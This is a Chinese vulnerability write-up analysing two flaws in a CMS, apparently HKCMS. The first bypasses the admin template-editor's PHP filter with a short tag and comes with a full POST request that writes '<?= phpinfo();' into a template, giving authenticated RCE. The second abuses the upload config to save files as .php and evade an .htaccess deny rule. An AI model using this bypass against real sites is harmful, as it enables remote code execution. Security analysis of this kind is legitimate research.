当前位置: 首页 > news >正文

网络安全之某cms的漏洞分析

漏洞描述

该漏洞源于Appcenter.php存在限制,但攻击者仍然可以通过绕过这些限制并以某种方式编写代码,使得经过身份验证的攻击者可以利用该漏洞执行任意命令

漏洞分析

绕过编辑模板限制,从而实现RCE

这里可以修改模板文件,但是不能修改为php文件,可以修改html文件
看看主页是如何识别模板的
随便看一个show方法

public function show(){// 栏目ID$catId = $this->request->param('catid','', 'intval');// 栏目英文$list = $this->request->param('catname','');// 父级栏目$catdir = $this->request->param('catdir','');// 文章ID、或者别名$id = $this->request->param('id', '', '');// 模型$model = $this->request->param('model', 0);$key = $this->request->param('key','');if (!is_numeric($catId) && empty($list) && !empty($catdir)) {$catId = $catdir;} else if (!is_numeric($catId) && !empty($list) && empty($catdir)) {$catId = $list;} else if (!is_numeric($catId) && !empty($list) && !empty($catdir)) {$catId = $list;}if (empty($model) && !empty($catId)) {$cateInfo = (new Category)->getCateInfo($catId);if (empty($cateInfo)) {$this->error(lang('The page doesn\'t exist.'));}$model = Model::where(['id'=>$cateInfo['model_id'],'status'=>'normal'])->find();if (empty($model)) {$this->error(lang('Model doesn\'t exist.'));}} else {$model = Model::where(['status'=>'normal'])->where(function ($query) use ($model){$query->where(['diyname'=>$model])->whereOr(['tablename'=>$model]);})->cache(app()->isDebug()?false:'model')->find();if (empty($model)) {$this->error(lang('Model doesn\'t exist.'));}}// 文章ID、别名if (is_numeric($id)) {$where = ['id'=>$id];} else {$where = ['diyname'=>$id];}$archives = new Archives();if (!empty($key) && md5(app('session')->getId())==$key) { // 授权临时访问禁用的文章$info = $archives->with(['category','model'])->where($where)->append(['publish_time_text','fullurl'])->find();} else {$info = $archives->with(['category','model'])->where($where)->where(['status'=>'normal'])->append(['publish_time_text','fullurl'])->find();}if (empty($info)) {$this->error(lang('The document doesn\'t exist.'));}if (site('user_on') == 1 && isset($info['islogin']) && $info['islogin'] && !session('Member')) {$this->error(__('Please log in and operate'), (string)url('/user.user/login'));}$info = $info->moreInfo();$this->view->assign('__page__', $info['__page__']??null);// 父级栏目矫正if (!isset($cateInfo) || $cateInfo['id']!=$info['category_id']) {$cateInfo = (new Category)->getCateInfo($info['category_id']);}Db::name('archives')->where(['id'=>$info['id']])->inc('views')->update();$this->view->assign('Cate', $cateInfo);$this->view->assign('Info', $info);// seo 模型固定的默认字段 keywords description$seo_title = empty($info['seotitle'])?$info['title']:$info['seotitle'];$seo_title = str_replace(['$title','$name','$site'], [$seo_title,$cateInfo['title'],site("title")], site('content_format'));$this->view->assign('seo_title', $seo_title);$this->view->assign('seo_keywords', isset($info['keywords'])?$info['keywords']:$cateInfo['seo_keywords']);$this->view->assign('seo_desc', isset($info['description'])?$info['description']:$cateInfo['seo_desc']);$template = explode(".", $info['show_tpl'], 2);return $this->view->fetch('show/'.$template[0]);}

重点是最后的fetch函数,打个断点,调试一下发现,如果点进一个具体的商品界面渲染的是show_product.html

继续跟进fetch函数

public function fetch(string $template = '', array $vars = []): string{return $this->getContent(function () use ($vars, $template) {$this->engine()->fetch($template, array_merge($this->data, $vars));});}

跟进fetch函数

public function fetch(string $template, array $vars = []): void{if ($vars) {$this->data = array_merge($this->data, $vars);}if (!empty($this->config['cache_id']) && $this->config['display_cache'] && $this->cache) {// 读取渲染缓存if ($this->cache->has($this->config['cache_id'])) {echo $this->cache->get($this->config['cache_id']);return;}}$template = $this->parseTemplateFile($template);if ($template) {$cacheFile = $this->config['cache_path'] . $this->config['cache_prefix'] . md5($this->config['layout_on'] . $this->config['layout_name'] . $template) . '.' . ltrim($this->config['cache_suffix'], '.');if (!$this->checkCache($cacheFile)) {// 缓存无效 重新模板编译$content = file_get_contents($template);$this->compiler($content, $cacheFile);}// 页面缓存ob_start();if (PHP_VERSION > 8.0) {ob_implicit_flush(false);} else {ob_implicit_flush(0);}// 读取编译存储$this->storage->read($cacheFile, $this->data);// 获取并清空缓存$content = ob_get_clean();if (!empty($this->config['cache_id']) && $this->config['display_cache'] && $this->cache) {// 缓存页面输出$this->cache->set($this->config['cache_id'], $content, $this->config['cache_time']);}echo $content;}}

发现只要我们修改了模板文件,就会重新缓存,触发file_get_contents函数,所以我们现在只要将模板文件内容修改为php代码,就可以实现RCE
看看修改模板文件的代码

public function editTheme(){$name = $this->request->param('name');// $module = $this->request->param('module'); 暂时只支持前台$type = $this->request->param('t');if (empty($name)) {$this->error(__('Parameter %s can not be empty',['name']));}if (!Validate::is($name, '/^[a-zA-Z][a-zA-Z0-9_]*$/')) {$this->error(__('Illegal request'));}// 修改文件if ($this->request->isPost()) {// 路径$path = $this->request->post('path','');$old_path = $this->request->post('old_path','');$path = !empty($path) ? str_replace(['.','//',"\\\\",'/','\\','\/'],'/', trim($path) . '/') : '/';$old_path = !empty($old_path) ? str_replace(['.','//',"\\\\",'/','\\','\/'],'/', trim($old_path) . '/') : '/';$fun = function ($path){if (empty($path) || $path=='/') {return false;}$pathArr = explode('/', rtrim(ltrim($path,'/'),'/'));foreach ($pathArr as $key=>$value) {if (!Validate::is($value, 'alphaDash')) {$this->error(__('Illegal request'));}}};$fun($path);$fun($old_path);// 文件名$filename = $this->request->post('filename');$filename = !empty($filename) ? basename(trim($filename)) : '';if (empty($filename)) {$this->error(__('Parameter %s can not be empty',['']));}$pathinfo = pathinfo($path.$filename);$tmp_filename = $pathinfo['filename'];// 旧文件名$old = $this->request->post('old','');$old = basename($old);if (!Validate::is($tmp_filename, '/^[A-Za-z0-9\-\_\.]+$/') || (!empty($old) && !Validate::is(pathinfo($old_path.$old)['filename'], '/^[A-Za-z0-9\-\_\.]+$/'))) {$this->error(__('Incorrect file name format'));}// 内容$content = $this->request->post('content','',null);list($root, $static) = Cloud::getInstance()->getTemplatePath();$root = $type=='tpl'?$root.$name:$static.$name;if (!preg_match('#^'.(str_replace('\\','/',$root.DIRECTORY_SEPARATOR)).'#i', str_replace('\\','/', $root.$pathinfo['dirname'].DIRECTORY_SEPARATOR.$pathinfo['basename']))) {$this->error(__('Permission denied'));}if (empty($pathinfo['extension']) || !in_array($pathinfo['extension'],['ini','html','json','js','css'])) {$this->error(__('Permission denied'));}if (!empty($content) && $pathinfo['extension']=='html') {// 限制html里面的php相关代码提交if (preg_match('#<([^?]*)\?php#i', $content) || (preg_match('#<\?#i', $content) && preg_match('#\?>#i', $content))|| preg_match('#\{php#i', $content)|| preg_match('#\{:phpinfo#i', $content)) {$this->error(__('Warning: The template has PHP syntax. For safety, please upload it after modifying it in the local editing tool'));}}$adapter = new \League\Flysystem\Local\LocalFilesystemAdapter($root.DIRECTORY_SEPARATOR);$filesystem = new \League\Flysystem\Filesystem($adapter);try {$file = $path.$pathinfo['basename'];if (!empty($old_path) && !empty($old)) { // 修改文件if (!$filesystem->fileExists($old_path.$old)) {throw new \Exception(__('%s not exist',[$old_path.$old]));}if ($old==$filename && $old_path==$path) {$filesystem->write($file, $content);} else if ($old!=$filename && $old_path==$path) {if ($filesystem->fileExists($file)) {throw new \Exception(__('%s existed',[$file]));}$filesystem->write($file, $content);$filesystem->delete($old_path.$old);} else {if ($filesystem->fileExists($file)) {throw new \Exception(__('%s existed',[$file]));}$filesystem->write($file, $content);$filesystem->delete($old_path.$old);}} else {if ($filesystem->fileExists($file)) {throw new \Exception(__('%s existed',[$file]));}// 新建$filesystem->write($file, $content);}} catch (\Exception $exception) {Log::error("修改模板文件异常:".$exception->getMessage());$this->error($exception->getMessage());}$this->success('','');}$langs = [];$langArr = [];$lf = request()->param('lf','');if ($type=='lang') {list($path, $static) = Cloud::getInstance()->getTemplatePath();$langDir = $static.$name.DIRECTORY_SEPARATOR.'lang'.DIRECTORY_SEPARATOR;$dataList = app()->make(LangService::class)->getListByModule('index');if (is_dir($langDir)) {foreach ($dataList as $value) {if (!is_file($langDir.$value['mark'].'.json')) {file_put_contents($langDir.$value['mark'].'.json', "{}");}$langs[] = $value['mark'].'.json';}}$langArr = !empty($langs) ? json_decode(file_get_contents($langDir.($lf && in_array($lf,$langs)?$lf:$langs[0])),true) : [];}$this->view->assign('name',$name);$this->view->assign('type',$type);$this->view->assign('langs',$langs);$this->view->assign('langArr',$langArr);$this->view->assign('curLf',$lf);$this->view->assign('template','/template/index/'.$name.'/');return $this->view->fetch();}

其中存在的过滤

if (!empty($content) && $pathinfo['extension']=='html') {// 限制html里面的php相关代码提交if (preg_match('#<([^?]*)\?php#i', $content) || (preg_match('#<\?#i', $content) && preg_match('#\?>#i', $content))|| preg_match('#\{php#i', $content)|| preg_match('#\{:phpinfo#i', $content)) {$this->error(__('Warning: The template has PHP syntax. For safety, please upload it after modifying it in the local editing tool'));}}

可以使用php短标签绕过

POST /admin.php/appcenter/editTheme.html HTTP/1.1
Host: 127.0.0.1
Sec-Fetch-Site: same-origin
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
sec-ch-ua: "Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"
X-Requested-With: XMLHttpRequest
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9
Cookie: admin_hkcms_lang=zh-cn; HKCMSSESSID=782e7fb254634e9af27235e16ab1dec1
sec-ch-ua-platform: "Windows"
sec-ch-ua-mobile: ?0
Content-Type: application/x-www-form-urlencoded
Content-Length: 34name=default&t=tpl&old=show_product.html&old_path=%2Fshow&path=%2Fshow&filename=show_product.html&content=%3C%3F%3D+phpinfo()%3B%0D%0A&__token__=dc7587409140c54150e9c3245c4503eb

然后就可以去对应的渲染的页面

http://127.0.0.1/index.php/index/show?id=62&catname=wc

调试一下

禁止目录穿越

成功绕过判断
随后就是write文件

文件上传漏洞

修改站点配置将上传的文件名都改为1.php

看看upload的代码

public function upload($files){$add = [];$infos = [];foreach ($files as $key=>$value) {$tmpExt = $value->getOriginalExtension();$sExt = explode(',',config('cms.script_ext'));if (in_array($tmpExt, $sExt)) {throw new UploadException(__('Do not allow uploading of script files'));}validate(['files' => [// 限制文件大小(单位b)'fileSize' => $this->config['file_size'],// 限制文件后缀,多个后缀以英文逗号分割'fileExt'  => $this->config['file_type']]],['files.fileSize' => __('File cannot exceed %s', [($this->config['file_size']/1024/1024).'MB']),'files.fileExt' => __('Unsupported file suffix'),])->check(['files'=>$value]);$name = $this->getFileName($value);$value->move(dirname(public_path().$name), $name);$fileInfo = new File(public_path().$name);$md5 = $fileInfo->md5();$size = $fileInfo->getsize();if (Validate::is($value->getOriginalMime(), '/^image\//') && $this->water(public_path().$name)) { // 生成水印成功后,获取新的路径$fileInfo = new File(public_path().$name);$name = $this->getFileName($fileInfo);$md5 = $fileInfo->md5();$size = $fileInfo->getsize();$fileInfo->move(dirname(public_path().$name), $name);}//$path = app()->filesystem->disk('public')->putFile('', $value, function ($file) use($name) {//    return str_replace('.'.$file->getOriginalExtension(), '', $name);//});//if (!$path) {//    throw new UploadException(__('File save failed'));//}$attr = Attachment::where(['path'=>$name,'storage'=>'local'])->find();if ($attr) {$attr = $attr->toArray();$attr['cdn_url'] = cdn_url($attr['path'], true);$infos[] = $attr;} else {$temp['title'] = Str::substr($value->getOriginalName(), 0, 40);$temp['md5'] = $md5;$temp['mime_type'] = $value->getOriginalMime();$temp['ext'] = $value->getOriginalExtension();$temp['size'] = $size;$temp['storage'] = $this->config['storage'];$temp['path'] = $name;$temp['user_type'] = $this->config['user_type'];$temp['user_id'] = $this->config['user_id']; // 后台用户$temp['cdn_url'] = cdn_url($name, true);$add[] = $temp;$infos[] = $temp;}}// 缩略图$this->thumb($infos);if (!empty($add)) {$bl = (new \app\admin\model\routine\Attachment)->saveAll($add);if (!$bl) {throw new UploadException(__('No rows added'));}}// 上传文件后的标签位hook('uploadAfter', $infos);return $infos;}

上传后的文件后缀以config为主

上传成功,但是访问时发现

这是因为在upload文件夹里有一个.htaccess文件

<FilesMatch \.(?i:html|php)$>Order allow,denyDeny from all
</FilesMatch>

意思是禁止访问所有 .html.php 文件,即 无论谁访问这些文件,都会被拒绝
于是将配置修改为

成功访问

相关文章:

  • Pytorch Lightning 进阶 1 - 梯度检查点(Gradient Checkpointing)
  • MySQL8:jdbc插入数据后获取自增ID
  • 实现Markdown文本转html并使用html2canvas导出图片
  • 可信计算的基石:TPM技术深度解析与应用实践
  • 图像融合中损失函数【1】--像素级别损失
  • 如何快速判断Excel文档是否被修改过?Excel多版本比对解决方案
  • 新能源知识库(65)逆变器和PCS的专用散热风扇介绍
  • Java学习第一周
  • Hum Brain Mapp.:从深度学习模型回归大脑:揭示区域预测因子及其与衰老的关系
  • QT6(46)5.2 QStringListModel 和 QListView :列表的模型与视图的界面搭建与源代码实现
  • Gartner《Generative AI Use - Case Comparison for Legal Departments》
  • python基于微信小程序的广西文化传承系统
  • 智慧水利新引擎,数字孪生流域解决方案
  • 生成式AI与智能体改写互联网、IT与工业经济格局
  • 深度学习:PyTorch卷积神经网络(CNN)之图像入门
  • 【Leetcode】有效的括号、用栈实现队列、用队列实现栈
  • 成都芯谷金融中心文化科技产业园:构建文化科技产业融合新标杆
  • MySQL 8.x配置MGR高可用+ProxySQL读写分离(二):ProxySQL配置MySQL代理及读写分离
  • 【GoLang】3、基于虚拟头尾节点快速实现双向链表
  • 计算Transformer的Flops
  • 做网站必须购买空间吗?/谷歌seo外链平台
  • 重庆市建设工程信息网管理系统登录/seo是什么职业岗位
  • 电子商务网站域名注册要求/谷歌排名优化入门教程
  • 深圳做营销网站的公司哪家好/网络营销策划书ppt
  • 典型营销型网站有哪些/惠州网络营销公司
  • 简阳建设网站公司/十大室内设计网站